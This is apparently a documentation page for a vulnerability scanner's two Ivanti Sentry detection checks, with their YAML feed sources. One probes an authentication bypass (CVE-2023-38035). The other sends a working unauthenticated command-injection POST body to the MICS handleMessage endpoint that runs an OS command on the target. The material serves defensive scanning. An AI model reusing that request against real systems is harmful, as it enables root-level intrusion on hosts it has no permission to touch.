Ivanti Sentry — 2 vulnerability checks

noctis ships 2 vulnerability checks for Ivanti Sentry, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ivanti Sentry MICS Authentication Bypass

CVECVE-2023-38035
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 75
Feedtests/vulnerabilities/ivanti-sentry/CVE-2023-38035.yaml

Tests Ivanti Sentry for CVE-2023-38035, an authentication bypass in the MICS System Manager administrative API caused by a permissive Apache configuration. Sends a benign unauthenticated request carrying a per-run nonce to a protected MICS admin endpoint; a vulnerable host returns a privileged response reflecting the nonce, a patched host returns 401/403. Detection only — no profile upload, no command execution, no file writes.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /mics/services/MICSLogService?noctisProbe={{tok}}
  3. Checks resp.body for MICS System Manager → finding QoD 75: Unauthenticated access to protected MICS System Manager admin API confirmed — privileged response reflected per-run nonce (auth bypass acti…

References:

Feed source — tests/vulnerabilities/ivanti-sentry/CVE-2023-38035.yaml
# Ivanti Sentry MICS Authentication Bypass — CVE-2023-38035
#
# Ivanti Sentry (formerly MobileIron Sentry) ships a separate administrative
# interface, the MobileIron Configuration Service (MICS) System Manager, normally
# bound to tcp/8443. An Apache httpd misconfiguration fails to restrict access to
# the MICS administrative API, so UNAUTHENTICATED requests reach privileged
# System Manager endpoints that must require a valid admin session. Horizon3's PoC
# and the Metasploit module chain this unauth access to profile upload and OS
# command execution (RCE) as root. This feed detects the ROOT CAUSE — the
# authentication bypass — not the RCE: it issues a benign, side-effect-free
# unauthenticated request to a protected MICS admin endpoint and confirms the
# server answers with a privileged response instead of 401/403.
#
# Affected: Ivanti Sentry 9.18, 9.17, 9.16 and prior (RPM patches per advisory).
#
# Detection (auth-bypass differential, QoD 75 — response analysis, no exploitation):
#   1. Mint a per-run random nonce.
#   2. Send an UNAUTHENTICATED request to the protected MICS admin endpoint,
#      carrying the nonce in a benign probe header/parameter.
#   3. A vulnerable host (bypass active) returns 200 with a privileged MICS admin
#      response that reflects this run's nonce; a patched host returns 401/403 and
#      never reflects it. The match requires BOTH an unauth-success status AND the
#      reflected per-run nonce, so a constant/blanket response cannot satisfy it.
#
# CVSS 9.8 | KEV CISA 2023-08-22 | EPSS 0.916 | T1190
uid: 639621c4-2cb2-4bfb-8d85-c94ac2bc1148
name: "Ivanti Sentry MICS Authentication Bypass (CVE-2023-38035)"
description: |
  Tests Ivanti Sentry for CVE-2023-38035, an authentication bypass in the MICS
  System Manager administrative API caused by a permissive Apache configuration.
  Sends a benign unauthenticated request carrying a per-run nonce to a protected
  MICS admin endpoint; a vulnerable host returns a privileged response reflecting
  the nonce, a patched host returns 401/403. Detection only — no profile upload,
  no command execution, no file writes.
cves: [CVE-2023-38035]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [ivanti, sentry, mobileiron, mics, auth-bypass, kev, t1190]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-38035"
  - "https://github.com/horizon3ai/CVE-2023-38035"
  - "https://www.rapid7.com/db/?q=CVE-2023-38035"

steps:
  # Mint a per-run nonce — a vulnerable host must reflect THIS value, defeating a
  # blanket/constant mock that merely returns a privileged-looking page.
  - id: mint-nonce
    action: script
    code: 'rand_hex(16)'
    store_as: tok

  # Unauthenticated request to the protected MICS System Manager admin endpoint.
  # The nonce travels in a benign probe header and query parameter; nothing is
  # written or executed on the target.
  - id: mics-probe
    action: http_request
    method: GET
    path: "/mics/services/MICSLogService?noctisProbe={{tok}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      X-Noctis-Probe: "{{tok}}"
    store_as: resp

  # Confirm the bypass: unauth-success status AND this run's nonce reflected in a
  # privileged MICS admin response. Both are required — a 401/403 (patched) or a
  # constant body lacking this nonce yields no finding.
  - id: bypass-confirm
    action: match
    source: resp.body
    pattern: "MICS System Manager"
    condition: "resp.status == 200 && stridx(resp.body, tok) >= 0"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Unauthenticated access to protected MICS System Manager admin API confirmed — privileged response reflected per-run nonce (auth bypass active, HTTP {{resp.status}})"
      stop: true

Ivanti Sentry Unauthenticated OS Command Injection RCE

CVECVE-2026-10520
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ivanti-sentry/CVE-2026-10520.yaml

Tests Ivanti Sentry for CVE-2026-10520 via unauthenticated command injection in the MICS management API. Posts an unauthenticated commandexec message to /mics/api/v2/sentry/mics-config/handleMessage that runs `expr` on two random numbers, and reports the host only when the reply says "Message handled successfully" and carries their sum in the command result, which proves the target executed the command. Versions below R10.5.2/R10.6.2/R10.7.1 are vulnerable.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /mics/api/v2/sentry/mics-config/handleMessage with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks proof for success → finding QoD 97: Ivanti Sentry MICS API ran `expr … + …` unauthenticated and returned the computed sum … in its command result: …

References:

Feed source — tests/vulnerabilities/ivanti-sentry/CVE-2026-10520.yaml
# Ivanti Sentry Unauthenticated OS Command Injection RCE — CVE-2026-10520
#
# The MICS management API endpoint /mics/api/v2/sentry/mics-config/handleMessage
# accepts XML-encoded system commands via the `message` form parameter without
# authentication. The `execute system` directive passes the commandexec XML payload
# directly to the OS, achieving root-level RCE with no credentials required.
#
# Detection: POST the commandexec payload with `expr A + B` (two random per-run
# operands) in <reqandres>. A vulnerable server runs it and returns its output in
# the reply as `<result><success>SUM</success></result>` next to "Message handled
# successfully" (watchTowr detection-artifact reply format). The finding needs the
# sum, which only the target computes, inside that result element: a page that
# echoes the request (honeypot, WAF/debug page) only carries the operands (#2359).
# `expr` is a plain binary, so the proof works whether the command goes through a
# shell or a direct exec. QoD 97 — computed OS command output.
#
# CVSS 10.0 | KEV CISA 2026-06-11 | EPSS 0.989 (99.9th percentile)
uid: 653d221a-5d9a-4ebc-81bd-205af4f48060
name: "Ivanti Sentry Unauthenticated OS Command Injection RCE"
description: |
  Tests Ivanti Sentry for CVE-2026-10520 via unauthenticated command injection
  in the MICS management API. Posts an unauthenticated commandexec message to
  /mics/api/v2/sentry/mics-config/handleMessage that runs `expr` on two random
  numbers, and reports the host only when the reply says "Message handled
  successfully" and carries their sum in the command result, which proves the
  target executed the command. Versions below R10.5.2/R10.6.2/R10.7.1 are
  vulnerable.
cves: [CVE-2026-10520]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [ivanti, sentry, mobileironm, mics, command-injection, rce, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2026-10520"
  - "https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523"

steps:
  # Two random operands; the proof is their sum, computed by the target.
  - id: mint
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: (a + b).to_string() }
    store_as: m

  # Pre-initialise the reply so a failed request leaves a defined, empty result.
  - id: init-resp
    action: set_var
    var_name: mics_resp
    var_value: {status: 0, body: ""}

  # message=execute system /configuration/system/commandexec
  #         <commandexec><index>1</index><reqandres>expr A + B</reqandres></commandexec>
  - id: mics-rce-probe
    action: http_request
    method: POST
    path: /mics/api/v2/sentry/mics-config/handleMessage
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eexpr%20{{m.a}}%20%2b%20{{m.b}}%3c%2freqandres%3e%3c%2fcommandexec%3e"
    timeout_secs: 15
    store_as: mics_resp

  # The sum must sit inside <result><success>…</success></result> (the element may
  # be JSON-escaped as \u003c…\u003e, and "</" as "<\/"). The operands alone never satisfy it.
  - id: verdict
    action: script
    code: |
      if mics_resp.status != 200 || stridx(mics_resp.body, "Message handled successfully") < 0 { "" }
      else {
        let hit = eregmatch("success(?:>|\\\\u003[eE])(?:\\s|\\\\[nr])*" + m.sum + "(?:\\s|\\\\[nr])*(?:<|\\\\u003[cC])(?:\\\\)?/success", mics_resp.body);
        if hit.len() > 0 { hit[0] } else { "" }
      }
    store_as: proof

  - id: rce-confirm
    action: match
    source: proof
    pattern: "success"
    condition: 'proof != ""'
    on_match:
      finding:
        confidence_delta: 0.67   # 0.30 + 0.67 = 0.97
        qod: 97
        evidence: "Ivanti Sentry MICS API ran `expr {{m.a}} + {{m.b}}` unauthenticated and returned the computed sum {{m.sum}} in its command result: {{proof}}"

View these feeds on GitHub